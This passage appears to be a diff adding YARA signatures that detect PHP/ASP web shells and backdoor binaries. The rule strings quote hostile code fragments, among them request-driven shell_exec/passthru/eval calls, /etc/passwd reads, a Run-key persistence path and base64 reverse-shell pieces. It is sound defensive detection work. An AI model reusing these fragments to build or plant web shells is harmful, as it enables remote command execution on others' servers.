+		$s0 = "if($ok==false &&$status && $autoErrorTrap)system($command . \" 1> /tmp/outpu"
+		$s5 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s15 = "<title>$MyShellVersion - Access Denied</title>" fullword
+		$s16 = "}$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTT"
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_lolipop {
+	meta:
+		description = "PHP Webshells Github Archive - file lolipop.php"
+		author = "Florian Roth"
+		hash = "86f23baabb90c93465e6851e40104ded5a5164cb"
+	strings:
+		$s3 = "$commander = $_POST['commander']; " fullword
+		$s9 = "$sourcego = $_POST['sourcego']; " fullword
+		$s20 = "$result = mysql_query($loli12) or die (mysql_error()); " fullword
+	condition:
+		all of them
+}
+rule WebShell_simple_cmd {
+	meta:
+		description = "PHP Webshells Github Archive - file simple_cmd.php"
+		author = "Florian Roth"
+		hash = "466a8caf03cdebe07aa16ad490e54744f82e32c2"
+	strings:
+		$s1 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s2 = "<title>G-Security Webshell</title>" fullword
+		$s4 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s6 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_go_shell {
+	meta:
+		description = "PHP Webshells Github Archive - file go-shell.php"
+		author = "Florian Roth"
+		hash = "3dd85981bec33de42c04c53d081c230b5fc0e94f"
+	strings:
+		$s0 = "#change this password; for power security - delete this file =)" fullword
+		$s2 = "if (!defined$param{cmd}){$param{cmd}=\"ls -la\"};" fullword
+		$s11 = "open(FILEHANDLE, \"cd $param{dir}&&$param{cmd}|\");" fullword
+		$s12 = "print << \"[kalabanga]\";" fullword
+		$s13 = "<title>GO.cgi</title>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_aZRaiLPhp_v1_0 {
+	meta:
+		description = "PHP Webshells Github Archive - file aZRaiLPhp v1.0.php"
+		author = "Florian Roth"
+		hash = "a2c609d1a8c8ba3d706d1d70bef69e63f239782b"
+	strings:
+		$s0 = "<font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$RED"
+		$s4 = "$fileperm=base_convert($_POST['fileperm'],8,10);" fullword
+		$s19 = "touch (\"$path/$dismi\") or die(\"Dosya Olu" fullword
+		$s20 = "echo \"<div align=left><a href='./$this_file?dir=$path/$file'>G" fullword
+	condition:
+		2 of them
+}
+rule WebShell_webshells_zehir4 {
+	meta:
+		description = "Webshells Github Archive - file zehir4"
+		author = "Florian Roth"
+		hash = "788928ae87551f286d189e163e55410acbb90a64"
+		score = 55
+	strings:
+		$s0 = "frames.byZehir.document.execCommand(command, false, option);" fullword
+		$s8 = "response.Write \"<title>ZehirIV --> Powered By Zehir &lt;zehirhacker@hotmail.com"
+	condition:
+		1 of them
+}
+rule WebShell_zehir4_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file zehir4.asp.php.txt"
+		author = "Florian Roth"
+		hash = "1d9b78b5b14b821139541cc0deb4cbbd994ce157"
+	strings:
+		$s4 = "response.Write \"<title>zehir3 --> powered by zehir &lt;zehirhacker@hotmail.com&"
+		$s11 = "frames.byZehir.document.execCommand("
+		$s15 = "frames.byZehir.document.execCommand(co"
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_lostDC {
+	meta:
+		description = "PHP Webshells Github Archive - file lostDC.php"
+		author = "Florian Roth"
+		hash = "d54fe07ea53a8929620c50e3a3f8fb69fdeb1cde"
+	strings:
+		$s0 = "$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';" fullword
+		$s4 = "header ( \"Content-Description: Download manager\" );" fullword
+		$s5 = "print \"<center>[ Generation time: \".round(getTime()-startTime,4).\" second"
+		$s9 = "if (mkdir($_POST['dir'], 0777) == false) {" fullword
+		$s12 = "$ret = shellexec($command);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_CasuS_1_5 {
+	meta:
+		description = "PHP Webshells Github Archive - file CasuS 1.5.php"
+		author = "Florian Roth"
+		hash = "7eee8882ad9b940407acc0146db018c302696341"
+	strings:
+		$s2 = "<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HO"
+		$s8 = "$fonk_kap = get_cfg_var(\"fonksiyonlary_kapat\");" fullword
+		$s18 = "if (file_exists(\"F:\\\\\")){" fullword
+	condition:
+		1 of them
+}
+rule WebShell_ftpsearch {
+	meta:
+		description = "PHP Webshells Github Archive - file ftpsearch.php"
+		author = "Florian Roth"
+		hash = "c945f597552ccb8c0309ad6d2831c8cabdf4e2d6"
+	strings:
+		$s0 = "echo \"[-] Error : coudn't read /etc/passwd\";" fullword
+		$s9 = "@$ftp=ftp_connect('127.0.0.1');" fullword
+		$s12 = "echo \"<title>Edited By KingDefacer</title><body>\";" fullword
+		$s19 = "echo \"[+] Founded \".sizeof($users).\" entrys in /etc/passwd\\n\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Cyber_Shell_cybershell_Cyber_Shell__v_1_0_ {
+	meta:
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+	strings:
+		$s4 = " <a href=\"http://www.cyberlords.net\" target=\"_blank\">Cyber Lords Community</"
+		$s10 = "echo \"<meta http-equiv=Refresh content=\\\"0; url=$PHP_SELF?edit=$nameoffile&sh"
+		$s11 = " *   Coded by Pixcher" fullword
+		$s16 = "<input type=text size=55 name=newfile value=\"$d/newfile.php\">" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Ajax_PHP_Command_Shell_Ajax_PHP_Command_Shell_soldierofallah {
+	meta:
+		description = "PHP Webshells Github Archive - from files Ajax_PHP Command Shell.php, Ajax_PHP_Command_Shell.php, soldierofallah.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "fa11deaee821ca3de7ad1caafa2a585ee1bc8d82"
+		hash1 = "c0a4ba3e834fb63e0a220a43caaf55c654f97429"
+		hash2 = "16fa789b20409c1f2ffec74484a30d0491904064"
+	strings:
+		$s1 = "'Read /etc/passwd' => \"runcommand('etcpasswdfile','GET')\"," fullword
+		$s2 = "'Running processes' => \"runcommand('ps -aux','GET')\"," fullword
+		$s3 = "$dt = $_POST['filecontent'];" fullword
+		$s4 = "'Open ports' => \"runcommand('netstat -an | grep -i listen','GET')\"," fullword
+		$s6 = "print \"Sorry, none of the command functions works.\";" fullword
+		$s11 = "document.cmdform.command.value='';" fullword
+		$s12 = "elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST"
+	condition:
+		3 of them
+}
+rule WebShell_Generic_PHP_7 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Mysql interface v1.0.php, MySQL Web Interface Version 0.8.php, Mysql_interface_v1.0.php, MySQL_Web_Interface_Version_0.8.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "de98f890790756f226f597489844eb3e53a867a9"
+		hash1 = "128988c8ef5294d51c908690d27f69dffad4e42e"
+		hash2 = "fd64f2bf77df8bcf4d161ec125fa5c3695fe1267"
+		hash3 = "715f17e286416724e90113feab914c707a26d456"
+	strings:
+		$s0 = "header(\"Content-disposition: filename=$filename.sql\");" fullword
+		$s1 = "else if( $action == \"dumpTable\" || $action == \"dumpDB\" ) {" fullword
+		$s2 = "echo \"<font color=blue>[$USERNAME]</font> - \\n\";" fullword
+		$s4 = "if( $action == \"dumpTable\" )" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Small_Web_Shell_by_ZaCo_small_zaco_zacosmall {
+	meta:
+		description = "PHP Webshells Github Archive - from files Small Web Shell by ZaCo.php, small.php, zaco.php, zacosmall.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "b148ead15d34a55771894424ace2a92983351dda"
+		hash1 = "e4ba288f6d46dc77b403adf7d411a280601c635b"
+		hash2 = "e5713d6d231c844011e9a74175a77e8eb835c856"
+		hash3 = "1b836517164c18caf2c92ee2a06c645e26936a0c"
+	strings:
+		$s2 = "if(!$result2)$dump_file.='#error table '.$rows[0];" fullword
+		$s4 = "if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');" fullword
+		$s6 = "header('Content-Length: '.strlen($dump_file).\"\\n\");" fullword
+		$s20 = "echo('Dump for '.$db_dump.' now in '.$to_file);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_8 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Macker's Private PHPShell.php, PHP Shell.php, Safe0ver Shell -Safe Mod Bypass By Evilc0der.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "fc1ae242b926d70e32cdb08bbe92628bc5bd7f99"
+		hash1 = "9ad55629c4576e5a31dd845012d13a08f1c1f14e"
+		hash2 = "c4aa2cf665c784553740c3702c3bfcb5d7af65a3"
+	strings:
+		$s1 = "elseif ( $cmd==\"file\" ) { /* <!-- View a file in text --> */" fullword
+		$s2 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s3 = "/* I added this to ensure the script will run correctly..." fullword
+		$s14 = "<!--    </form>   -->" fullword
+		$s15 = "<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\">" fullword
+		$s20 = "elseif ( $cmd==\"downl\" ) { /*<!-- Save the edited file back to a file --> */" fullword
+	condition:
+		3 of them
+}
+rule WebShell__PH_Vayv_PHVayv_PH_Vayv_klasvayv_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php, klasvayv.asp.php.txt"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+		hash3 = "4f83bc2836601225a115b5ad54496428a507a361"
+	strings:
+		$s1 = "<font color=\"#000000\">Sil</font></a></font></td>" fullword
+		$s5 = "<td width=\"122\" height=\"17\" bgcolor=\"#9F9F9F\">" fullword
+		$s6 = "onfocus=\"if (this.value == 'Kullan" fullword
+		$s16 = "<img border=\"0\" src=\"http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif\">"
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_9 {
+	meta:
+		description = "PHP Webshells Github Archive - from files KAdot Universal Shell v0.1.6.php, KAdot_Universal_Shell_v0.1.6.php, KA_uShell 0.1.6.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "89f2a7007a2cd411e0a7abd2ff5218d212b84d18"
+		hash1 = "2266178ad4eb72c2386c0a4d536e5d82bb7ed6a2"
+		hash2 = "0daed818cac548324ad0c5905476deef9523ad73"
+	strings:
+		$s2 = ":<b>\" .base64_decode($_POST['tot']). \"</b>\";" fullword
+		$s6 = "if (isset($_POST['wq']) && $_POST['wq']<>\"\") {" fullword
+		$s12 = "if (!empty($_POST['c'])){" fullword
+		$s13 = "passthru($_POST['c']);" fullword
+		$s16 = "<input type=\"radio\" name=\"tac\" value=\"1\">B64 Decode<br>" fullword
+		$s20 = "<input type=\"radio\" name=\"tac\" value=\"3\">md5 Hash" fullword
+	condition:
+		3 of them
+}
+rule WebShell__PH_Vayv_PHVayv_PH_Vayv {
+	meta:
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+	strings:
+		$s4 = "<form method=\"POST\" action=\"<?echo \"PHVayv.php?duzkaydet=$dizin/$duzenle"
+		$s12 = "<? if ($ekinci==\".\" or  $ekinci==\"..\") {" fullword
+		$s17 = "name=\"duzenx2\" value=\"Klas" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_1 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Dive Shell 1.0 - Emperor Hacking Team.php, Dive_Shell_1.0_Emperor_Hacking_Team.php, SimShell 1.0 - Simorgh Security MGZ.php, SimShell_1.0_-_Simorgh_Security_MGZ.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "3b086b9b53cf9d25ff0d30b1d41bb2f45c7cda2b"
+		hash1 = "2558e728184b8efcdb57cfab918d95b06d45de04"
+		hash2 = "203a8021192531d454efbc98a3bbb8cabe09c85c"
+		hash3 = "b79709eb7801a28d02919c41cc75ac695884db27"
+	strings:
+		$s1 = "$token = substr($_REQUEST['command'], 0, $length);" fullword
+		$s4 = "var command_hist = new Array(<?php echo $js_command_hist ?>);" fullword
+		$s7 = "$_SESSION['output'] .= htmlspecialchars(fgets($io[1])," fullword
+		$s9 = "document.shell.command.value = command_hist[current_line];" fullword
+		$s16 = "$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $"
+		$s19 = "if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {" fullword
+		$s20 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword
+	condition:
+		5 of them
+}
+rule WebShell_Generic_PHP_2 {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash3 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s3 = "if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))" fullword
+		$s4 = "\\$port = {$_POST['port']};" fullword
+		$s5 = "$_POST['installpath'] = \"temp.pl\";}" fullword
+		$s14 = "if(isset($_POST['post']) and $_POST['post'] == \"yes\" and @$HTTP_POST_FILES[\"u"
+		$s16 = "copy($HTTP_POST_FILES[\"userfile\"][\"tmp_name\"],$HTTP_POST_FILES[\"userfile\"]"
+	condition:
+		4 of them
+}
+rule WebShell__CrystalShell_v_1_erne_stres {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, erne.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "6eb4ab630bd25bec577b39fb8a657350bf425687"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s1 = "<input type='submit' value='  open (shill.txt) '>" fullword
+		$s4 = "var_dump(curl_exec($ch));" fullword
+		$s7 = "if(empty($_POST['Mohajer22'])){" fullword
+		$s10 = "$m=$_POST['curl'];" fullword
+		$s13 = "$u1p=$_POST['copy'];" fullword
+		$s14 = "if(empty(\\$_POST['cmd'])){" fullword
+		$s15 = "$string = explode(\"|\",$string);" fullword
+		$s16 = "$stream = imap_open(\"/etc/passwd\", \"\", \"\");" fullword
+	condition:
+		5 of them
+}
+rule WebShell_Generic_PHP_3 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Antichat Shell v1.3.php, Antichat Shell. Modified by Go0o$E.php, Antichat Shell.php, fatal.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "d829e87b3ce34460088c7775a60bded64e530cd4"
+		hash1 = "d710c95d9f18ec7c76d9349a28dd59c3605c02be"
+		hash2 = "f044d44e559af22a1a7f9db72de1206f392b8976"
+		hash3 = "41780a3e8c0dc3cbcaa7b4d3c066ae09fb74a289"
+	strings:
+		$s0 = "header('Content-Length:'.filesize($file).'');" fullword
+		$s4 = "<textarea name=\\\"command\\\" rows=\\\"5\\\" cols=\\\"150\\\">\".@$_POST['comma"
+		$s7 = "if(filetype($dir . $file)==\"file\")$files[]=$file;" fullword
+		$s14 = "elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} " fullword
+		$s20 = "$info .= (($perms & 0x0004) ? 'r' : '-');" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_4 {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, nshell.php, Loaderz WEB Shell.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "86bc40772de71b1e7234d23cab355e1ff80c474d"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s2 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';" fullword
+		$s5 = "$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';" fullword
+		$s6 = "$world[\"write\"] = ($mode & 00002) ? 'w' : '-';" fullword
+		$s7 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';" fullword
+		$s10 = "foreach ($arr as $filename) {" fullword
+		$s19 = "else if( $mode & 0x6000 ) { $type='b'; }" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_5 {
+	meta:
+		description = "PHP Webshells Github Archive - from files ex0shell.php, megabor.php, GRP WebShell 2.0 release build 2018 (C)2006,Great.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "64461ad8d8f23ea078201a31d747157f701a4e00"
+		hash1 = "3df1afbcfa718da6fc8af27554834ff6d1a86562"
+		hash2 = "ad86ef7f24f75081318146edc788e5466722a629"
+	strings:
+		$s0 = "(($perms & 0x0400) ? 'S' : '-'));" fullword
+		$s10 = "} elseif (($perms & 0x8000) == 0x8000) {" fullword
+		$s11 = "if (($perms & 0xC000) == 0xC000) {" fullword
+		$s12 = "$info .= (($perms & 0x0008) ?" fullword
+		$s16 = "// Block special" fullword
+		$s18 = "$info = 's';" fullword
+	condition:
+		all of them
+}
+rule WebShell_GFS {
+	meta:
+		description = "PHP Webshells Github Archive - from files GFS web-shell ver 3.1.7 - PRiV8.php, Predator.php, GFS_web-shell_ver_3.1.7_-_PRiV8.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "c2f1ef6b11aaec255d4dd31efad18a3869a2a42c"
+		hash1 = "34f6640985b07009dbd06cd70983451aa4fe9822"
+		hash2 = "d25ef72bdae3b3cb0fc0fdd81cfa58b215812a50"
+	strings:
+		$s0 = "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";" fullword
+		$s1 = "lIENPTk47DQpleGl0IDA7DQp9DQp9\";" fullword
+		$s2 = "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShm"
+	condition:
+		all of them
+}
+rule WebShell__CrystalShell_v_1_sosyete_stres {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, sosyete.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "e32405e776e87e45735c187c577d3a4f98a64059"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s1 = "A:visited { COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s4 = "A:active {COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s11 = "scrollbar-darkshadow-color: #101842;" fullword
+		$s15 = "<a bookmark=\"minipanel\">" fullword
+		$s16 = "background-color: #EBEAEA;" fullword
+		$s18 = "color: #D5ECF9;" fullword
+		$s19 = "<center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 border"
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_10 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php, PHPRemoteView.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+		hash3 = "7d5b54c7cab6b82fb7d131d7bbb989fd53cb1b57"
+	strings:
+		$s2 = "$world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T'; " fullword
+		$s6 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-'; " fullword
+		$s11 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-'; " fullword
+		$s12 = "else if( $mode & 0xA000 ) " fullword
+		$s17 = "$s=sprintf(\"%1s\", $type); " fullword
+		$s20 = "font-size: 8pt;" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_11 {
+	meta:
+		description = "PHP Webshells Github Archive - from files rootshell.php, Rootshell.v.1.0.php, s72 Shell v1.1 Coding.php, s72_Shell_v1.1_Coding.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "31a82cbee8dffaf8eb7b73841f3f3e8e9b3e78cf"
+		hash1 = "838c7191cb10d5bb0fc7460b4ad0c18c326764c6"
+		hash2 = "8dfcd919d8ddc89335307a7b2d5d467b1fd67351"
+		hash3 = "80aba3348434c66ac471daab949871ab16c50042"
+	strings:
+		$s5 = "$filename = $backupstring.\"$filename\";" fullword
+		$s6 = "while ($file = readdir($folder)) {" fullword
+		$s7 = "if($file != \".\" && $file != \"..\")" fullword
+		$s9 = "$backupstring = \"copy_of_\";" fullword
+		$s10 = "if( file_exists($file_name))" fullword
+		$s13 = "global $file_name, $filename;" fullword
+		$s16 = "copy($file,\"$filename\");" fullword
+		$s18 = "<td width=\"49%\" height=\"142\">" fullword
+	condition:
+		all of them
+}
+rule WebShell__findsock_php_findsock_shell_php_reverse_shell {
+	meta:
+		description = "PHP Webshells Github Archive - from files findsock.c, php-findsock-shell.php, php-reverse-shell.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "5622c9841d76617bfc3cd4cab1932d8349b7044f"
+		hash1 = "4a20f36035bbae8e342aab0418134e750b881d05"
+		hash2 = "40dbdc0bdf5218af50741ba011c5286a723fa9bf"
+	strings:
+		$s1 = "// me at pentestmonkey@pentestmonkey.net" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_6 {
+	meta:
+		description = "PHP Webshells Github Archive - from files c0derz shell [csh] v. 0.1.1 release.php, CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "1a08f5260c4a2614636dfc108091927799776b13"
+		hash1 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash2 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s2 = "@eval(stripslashes($_POST['phpcode']));" fullword
+		$s5 = "echo shell_exec($com);" fullword
+		$s7 = "if($sertype == \"winda\"){" fullword
+		$s8 = "function execute($com)" fullword
+		$s12 = "echo decode(execute($cmd));" fullword
+		$s15 = "echo system($com);" fullword
+	condition:
+		4 of them
+}
+
+rule Unpack_Injectt {
+	meta:
+		description = "Webshells Auto-generated - file Injectt.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8a5d2158a566c87edc999771e12d42c5"
+	strings:
+		$s2 = "%s -Run                              -->To Install And Run The Service"
+		$s3 = "%s -Uninstall                        -->To Uninstall The Service"
+		$s4 = "(STANDARD_RIGHTS_REQUIRED |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MAN"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_fso {
+	meta:
+		description = "Webshells Auto-generated - file fso.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b37f3cde1a08890bd822a182c3a881f6"
+	strings:
+		$s0 = "<!-- PageFSO Below -->"
+		$s1 = "theFile.writeLine(\"<script language=\"\"vbscript\"\" runat=server>if request(\"\"\"&cli"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_ssh {
+	meta:
+		description = "Webshells Auto-generated - file ssh.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1aa5307790d72941589079989b4f900e"
+	strings:
+		$s0 = "eval(gzinflate(str_rot13(base64_decode('"
+	condition:
+		all of them
+}
+rule Debug_BDoor {
+	meta:
+		description = "Webshells Auto-generated - file BDoor.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "e4e8e31dd44beb9320922c5f49739955"
+	strings:
+		$s1 = "\\BDoor\\"
+		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
+	condition:
+		all of them
+}
+rule bin_Client {
+	meta:
+		description = "Webshells Auto-generated - file Client.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5f91a5b46d155cacf0cc6673a2a5461b"
+	strings:
+		$s0 = "Recieved respond from server!!"
+		$s4 = "packet door client"
+		$s5 = "input source port(whatever you want):"
+		$s7 = "Packet sent,waiting for reply..."
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_ZXshell {
+	meta:
+		description = "Webshells Auto-generated - file ZXshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "246ce44502d2f6002d720d350e26c288"
+	strings:
+		$s0 = "WPreviewPagesn"
+		$s1 = "DA!OLUTELY N"
+	condition:
+		all of them
+}
+rule RkNTLoad {
+	meta:
+		description = "Webshells Auto-generated - file RkNTLoad.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "262317c95ced56224f136ba532b8b34f"
+	strings:
+		$s1 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s2 = "5pur+virtu!"
+		$s3 = "ugh spac#n"
+		$s4 = "xcEx3WriL4"
+		$s5 = "runtime error"
+		$s6 = "loseHWait.Sr."
+		$s7 = "essageBoxAw"
+		$s8 = "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $"
+	condition:
+		all of them
+}
+rule binder2_binder2 {
+	meta:
+		description = "Webshells Auto-generated - file binder2.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d594e90ad23ae0bc0b65b59189c12f11"
+	strings:
+		$s0 = "IsCharAlphaNumericA"
+		$s2 = "WideCharToM"
+		$s4 = "g 5pur+virtu!"
+		$s5 = "\\syslog.en"
+		$s6 = "heap7'7oqk?not="
+		$s8 = "- Kablto in"
+	condition:
+		all of them
+}
+rule thelast_orice2 {
+	meta:
+		description = "Webshells Auto-generated - file orice2.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "aa63ffb27bde8d03d00dda04421237ae"
+	strings:
+		$s0 = " $aa = $_GET['aa'];"
+		$s1 = "echo $aa;"
+	condition:
+		all of them
+}
+rule FSO_s_sincap {
+	meta:
+		description = "Webshells Auto-generated - file sincap.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dc5c2c2392b84a1529abd92e98e9aa5b"
+	strings:
+		$s0 = "    <font color=\"#E5E5E5\" style=\"font-size: 8pt; font-weight: 700\" face=\"Arial\">"
+		$s4 = "<body text=\"#008000\" bgcolor=\"#808080\" topmargin=\"0\" leftmargin=\"0\" rightmargin="
+	condition:
+		all of them
+}
+rule PhpShell {
+	meta:
+		description = "Webshells Auto-generated - file PhpShell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "539baa0d39a9cf3c64d65ee7a8738620"
+	strings:
+		$s2 = "href=\"http://www.gimpster.com/wiki/PhpShell\">www.gimpster.com/wiki/PhpShell</a>."
+	condition:
+		all of them
+}
+rule HYTop_DevPack_config {
+	meta:
+		description = "Webshells Auto-generated - file config.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b41d0e64e64a685178a3155195921d61"
+	strings:
+		$s0 = "const adminPassword=\""
+		$s2 = "const userPassword=\""
+		$s3 = "const mVersion="
+	condition:
+		all of them
+}
+rule sendmail {
+	meta:
+		description = "Webshells Auto-generated - file sendmail.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "75b86f4a21d8adefaf34b3a94629bd17"
+	strings:
+		$s3 = "_NextPyC808"
+		$s6 = "Copyright (C) 2000, Diamond Computer Systems Pty. Ltd. (www.diamondcs.com.au)"
+	condition:
+		all of them
+}
+rule FSO_s_zehir4 {
+	meta:
+		description = "Webshells Auto-generated - file zehir4.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+	strings:
+		$s5 = " byMesaj "
+	condition:
+		all of them
+}
+rule hkshell_hkshell {
+	meta:
+		description = "Webshells Auto-generated - file hkshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "168cab58cee59dc4706b3be988312580"
+	strings:
+		$s1 = "PrSessKERNELU"
+		$s2 = "Cur3ntV7sion"
+		$s3 = "Explorer8"
+	condition:
+		all of them
+}
+rule iMHaPFtp {
+	meta:
+		description = "Webshells Auto-generated - file iMHaPFtp.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
